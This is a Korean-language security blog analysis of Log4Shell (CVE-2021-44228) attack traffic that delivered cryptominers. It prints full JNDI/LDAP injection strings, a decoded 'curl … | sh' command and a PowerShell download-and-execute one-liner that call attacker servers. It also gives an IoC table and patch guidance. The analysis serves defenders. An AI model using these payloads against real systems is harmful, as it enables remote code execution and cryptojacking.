본문 바로가기
IT 보안

Apache Log4j 취약점 (CVE-2021-44228) 분석 자료

by 떠도리c 2024. 9. 23.
반응형

CVE-2021-44228

Apache Log4j2 버전 2.14.1 이하(보안 릴리스 2.3.1, 2.12.2 및 2.12.3 제외)에서 구성, 로그 메시지 및 매개변수에 사용된 JNDI를 이용한 취약점

로그 메시지 또는 로그 메시지 매개변수를 제어할 수 있는 공격자는 메시지 조회 대체가 활성화된 경우 LDAP 서버에서 로드된 임의의 코드를 실행할 수 있습니다.

  • JNDI (Java Naming and Directory Interface)
    • Java로 작성된 애플리케이션을 DNS, LDAP, RMI, NDS 등과 같은 Naming/Directory 서비스에 연결하기 위한 API
  • LDAP(Lightweight Directory Access Protocol)
    • TCP/IP 위에서 디렉터리 서비스를 조회하고 수정하는 응용 프로토콜

 

 

 

영향 받는 버전 정보

  • Log4j 1.x 버전
    • 1.x 버전을 사용하는 애플리케이션은 Configuration에서 JNDI를 사용할 때만 이 공격에 취약
      (별도의 CVE(CVE-2021-4104)가 존재)
    • JMSAppender가 없는 Log4j 1.x 구성은 이 취약점의 영향을 받지 않습니다.
  • Log4j 2.14.1 이하(보안 릴리스 2.3.1, 2.12.2 및 2.12.3 제외)

 

 

탐지 트래픽 분석 (악성 패턴 2개 탐지)

이번 위협 트래픽 탐지는 두 가지 패턴이 탐지되었고

아래는 두 가지 패턴에 대한 분석 내용입니다.

탐지 트래픽 패턴 1

트래픽 원본

[TargetIP:Port]/?id=%24%7Bjndi%3Aldap%3A%2F%2F218[.]24[.]200[.]243%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCAtZnNTTCBodHRwOi8vNjEuOTcuMTg4LjQyOjgwODAvbHIuc2ggfHNo%7D
  • URL Decoding
[TargetIP:Port]/?id=${jndi:ldap://218[.]24[.]200[.]243:8066/TomcatBypass/Command/Base64/Y3VybCAtZnNTTCBodHRwOi8vNjEuOTcuMTg4LjQyOjgwODAvbHIuc2ggfHNo}
  • Base64 Decoding
curl -fsSL http://61[.]97[.]188[.]42:8080/lr.sh |sh
  • 최종 디코딩
    디코딩 결과 jndi, ldap, 악성 ldap 서버 IP:포트, curl/../lr.sh 쉘스크립트 등 수상한 URL 임을 확인할 수 있습니다.
  • 행위
    - 218[.]24[.]200[.]243 쿼리 (악성 LDAP 서버) > curl을 통한 lr.sh 파일 다운로드 및 실행
    - lr.sh 구동을 통한 추가 악성 파일들을 다운로드 및 실행
[TargetIP:Port]/id=${jndi:ldap://218[.]24[.]200[.]243:8066/TomcatBypass/Command/Base64/curl -fsSL http://61[.]97[.]188[.]42:8080/lr.sh |sh

f : HTTP 에러 시 자동으로 실패 (출력 X)
s : 진행 과정이나 에러 정보를 보여주지 않는다.(–silent)
S : s옵션과 같이 사용했을 때 실패에 대한 curl 에러 메세지를 보여줌
L : HTTP 301, 302, 303 응답을 받은 경우 redirection URL을 따라감


lr.sh 분석
디코딩 된 URL에서의 lr.sh 쉘 스크립트 분석 

  • 프로세스 강제 종료 

lr.sh 쉘 스크립트

  • crontab 스케줄링 등록 (매 5분마다 실행되도록)
    - 61.97.188[.]42 통신, config.json, apache.sh, x.rar 파일 다운로드 및 백그라운드 실행

lr.sh 쉘 스크립트


x.rar 파일 (File tyep : ELF)

lr.sh 쉘 스크립트의 내용 중 x.rar 파일 분석

  • 평판 - 코인 채굴 프로그램
    코인 마이너 확인

x.rar 파일 - Virus Total 평판 조회


config.json 분석

lr.sh 쉘 스크립트의 내용 중 config.json 파일 분석

  • 코인 Donate 설정

config.json - 코인 pool 및 user id


apache.sh 분석

lr.sh 쉘 스크립트의 내용 중 apache.sh 파일 분석

  • 프로세스 체크 및 종료
  • kthmimu 백그라운드 실행

탐지 트래픽 패턴 2

트래픽 원본

[TargetIP:Port]/?id=%24%7Bjndi%3Aldap%3A%2F%2F218[.]24[.]200[.]243%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FcG93ZXJzaGVsbCAtZW5jIFNRQkZBRmdBSUFBb0FFNEFaUUIzQUMwQVR3QmlBR29BWlFCakFIUUFJQUJUQUhrQWN3QjBBR1VBYlFBdUFFNEFaUUIwQUM0QVZ3QmxBR0lBWXdCc0FHa0FaUUJ1QUhRQUtRQXVBRVFBYndCM0FHNEFiQUJ2QUdFQVpBQlRBSFFBY2dCcEFHNEFad0FvQUNjQWFBQjBBSFFBY0FBNkFDOEFMd0EyQURFQUxnQTVBRGNBTGdBeEFEZ0FPQUF1QURRQU1nQTZBRGdBTUFBNEFEQUFMd0JzQUhJQUxnQndBSE1BTVFBbkFDa0E%3D%7D
  • URL Decoding
[TargetIP:Port]/?id=${jndi:ldap://218[.]24[.]200[.]243:8066/TomcatBypass/Command/Base64/cG93ZXJzaGVsbCAtZW5jIFNRQkZBRmdBSUFBb0FFNEFaUUIzQUMwQVR3QmlBR29BWlFCakFIUUFJQUJUQUhrQWN3QjBBR1VBYlFBdUFFNEFaUUIwQUM0QVZ3QmxBR0lBWXdCc0FHa0FaUUJ1QUhRQUtRQXVBRVFBYndCM0FHNEFiQUJ2QUdFQVpBQlRBSFFBY2dCcEFHNEFad0FvQUNjQWFBQjBBSFFBY0FBNkFDOEFMd0EyQURFQUxnQTVBRGNBTGdBeEFEZ0FPQUF1QURRQU1nQTZBRGdBTUFBNEFEQUFMd0JzQUhJQUxnQndBSE1BTVFBbkFDa0E=}
  • Base64 Decoding
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwA2ADEALgA5ADcALgAxADgAOAAuADQAMgA6ADgAMAA4ADAALwBsAHIALgBwAHMAMQAnACkA

IEX (New-Object System.Net.Webclient).DownloadString('http://61[.]97[.]188[.]42:8080/lr.ps1')
  • 최종 디코딩
    디코딩 결과 jndi, ldap, 악성 ldap 서버 IP:포트, 파워쉘 코드 등 수상한 URL 임을 확인할 수 있습니다. 
  • 행위
    - 218.24.200[.]243 쿼리(악성 LDAP 서버) > lr.ps1 파일 다운로드 및 실행
[TargetIP:Port]/?id=${jndi:ldap://218[.]24[.]200[.]243:8066/TomcatBypass/Command/Base64/powershell -enc IEX (New-Object System.Net.Webclient).DownloadString('http://61[.]97[.]188[.]42:8080/lr.ps1')

- DownloadString()은 메모리 상으로 존재합니다. 
- 실제 시스템에 떨어지는 파일 없이 메모리 상으로 다운로드 받아서 바로 실행할 수 있습니다.


lr.ps1 분석
디코딩 된 URL에서의 lr.ps1 파워쉘 스크립트 분석 

  • 윈도우 작업 스케줄러 등록
  • 61[.]97[.]188[.]42 통신, config.json, x.exe 파일 다운로드 및 실행 설정 확인

config.json 파일은 '탐지 트래픽 1' 동일함


x.exe 분석
lr.ps1 파워쉘 스크립트의 내용 중 x.exe 파일

  • 평판 - 코인 채굴 프로그램
    코인 마이너 확인

x.exe - Virus Total 평판

 

 

결론

종합의견

  • Apache Log4j 취약점 > 원격 코드를 실행 > 코인 채굴 프로그램 다운로드 및 실행
    • Victim 시스템의 리소스를 사용하여 코인 채굴 및 채굴된 코인 전송을 하는 악성 행위입니다.
      코인 마이너의 경우 채굴을 위한 시스템 리소스를 과점유하여 시스템이 운영중인 서비스에 큰 영향을 끼칩니다.
  • 탐지 트래픽 1과 2는 코인 마이너 파일 형식은 ELF / EXE로 악성 스크립트는 쉘 스크립트 / 파워쉘 스크립트로 형식이 다릅니다.
    즉, 공격자는 공격 대상의 OS가 Linux / Windows든 상관없이 공격할 수 있도록 두 가지 유형의 트래픽을 동시에 발생 시켰다는 것을 의미합니다.

만약 위의 내용과 비슷한 트래픽을 탐지하였고, 예전보다 시스템이 느려지거나 서비스가 비정상적으로 느껴질 경우
시스템에서 프로세스 별 사용량을 확인하여 이상 프로세스를 찾고, 이상 프로세스 종료 및 관련된 파일들을 찾아 모두 제거해야 합니다.

코인 마이너는 지속성 유지를 위해 스케줄링을 등록하기 때문에 crontab / 작업 스케줄러 에서 스케줄링도 함께 제거해야 합니다.

 

대응방안

  • Log4j 2.x 버전 업그레이드
    • 2.3.1(Java 6용), 2.12.3(Java 7용), 2.17.0(Java 8 이상) 업그레이드
    • 2.16.0 이외의 버전은 JndiLookup클래스 경로에서 클래스를 제거할 수 있음
      - zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
    • JndiLookup을 제거하기만 하면 CVE-2021-44228에 노출된 두 가지 버그 중 하나만 해결
 

Log4j – Apache Log4j Security Vulnerabilities

<!-- Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to You under the Apa

logging.apache.org

  • IoC 정보
IP / URL / Hash
설 명
82[.]99[.]217[.]202
공격자 IP
67[.]205[.]149[.]12
공격자 IP
18[.]163[.]206[.]128
공격자 IP
218[.]24[.]200[.]243
악성 서버
61[.]97[.]188[.]42
악성 서버 ( 코인 채굴 관련 파일 서버)
https://pastebin[.]com/raw/cuRBc3hn
악성 서버
https://pastebin[.]com/raw/cuRBc3hn
악성 서버
http://61[.]97[.]188[.]42:8080/config[.]json
코인 채굴 설정 파일
http://61[.]97[.]188[.]42:8080/x[.]rar
코인 채굴 프로그램
http://61[.]97[.]188[.]42:8080/apache[.]sh
코인 채굴 설정 파일(지속성)
http://pool[.]supportxmr[.]com/
코인 pool
[TargetIP:Port]/?id=%24%7Bjndi%3Aldap%3A%2F%2F218.24.200.243%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCAtZnNTTCBodHRwOi8vNjEuOTcuMTg4LjQyOjgwODAvbHIuc2ggfHNo%7D
악성 트래픽
URL 패턴 추출 및 차단
[TargetIP:Port]/?id=%24%7Bjndi%3Aldap%3A%2F%2F218.24.200.243%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FcG93ZXJzaGVsbCAtZW5jIFNRQkZBRmdBSUFBb0FFNEFaUUIzQUMwQVR3QmlBR29BWlFCakFIUUFJQUJUQUhrQWN3QjBBR1VBYlFBdUFFNEFaUUIwQUM0QVZ3QmxBR0lBWXdCc0FHa0FaUUJ1QUhRQUtRQXVBRVFBYndCM0FHNEFiQUJ2QUdFQVpBQlRBSFFBY2dCcEFHNEFad0FvQUNjQWFBQjBBSFFBY0FBNkFDOEFMd0EyQURFQUxnQTVBRGNBTGdBeEFEZ0FPQUF1QURRQU1nQTZBRGdBTUFBNEFEQUFMd0JzQUhJQUxnQndBSE1BTVFBbkFDa0E%3D%7D
악성 트래픽
URL 패턴 추출 및 차단
- MD5 : 33a8969da9cfb35b2a3aed88c2baf32b
- SHA-1 : 54805103e4f430a8b0366ca6fcda55c2d37660e5
- SHA-256 : 34bfddb2ca2b491f7599bc90e15398b56f6e41b13c341944197c37199b062725
코인 채굴 프로그램
x.rar 파일 Hash
- MD5 : 2a0d26b8b02bb2d17994d2a9a38d61db
- SHA-1 : 889a9cb0a044c1f675e63ea6ea065a8cf914e2ab
- SHA-256 : 3c54646213638e7bd8d0538c28e414824f5eaf31faf19a40eec608179b1074f1
코인 채굴 프로그램
x.exe 파일 Hash
반응형